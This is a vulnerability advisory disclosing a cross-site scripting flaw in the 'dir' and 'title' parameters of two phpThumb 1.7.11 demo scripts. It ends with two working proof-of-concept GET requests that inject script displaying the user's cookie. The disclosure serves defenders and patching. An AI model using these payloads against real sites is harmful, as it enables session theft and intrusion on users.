phpThumb() v1.7.11 (dir & title) Cross-Site Scripting Vulnerability Vendor: SiliSoftware Product web page: http://www.silisoftware.com Affected version: 1.7.11-201108081537 Summary: phpThumb() uses the GD library to create thumbnails from images (JPEG, PNG, GIF, BMP, etc) on the fly. The output size is configurable (can be larger or smaller than the source), and the source may be the entire image or only a portion of the original image. Desc: phpThumb is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'dir' and the 'title' parameter of the 'phpThumb.demo.random.php' and 'phpThumb.demo.showpic.php' scripts. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.21 PHP 5.3.8 MySQL 5.5.20 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2012-5088 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5088.php 15.05.2012 -- GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.random.php?dir="><script>alert(document.cookie);</script> HTTP/1.1 GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.showpic.php?title="><script>alert(document.cookie);</script> HTTP/1.1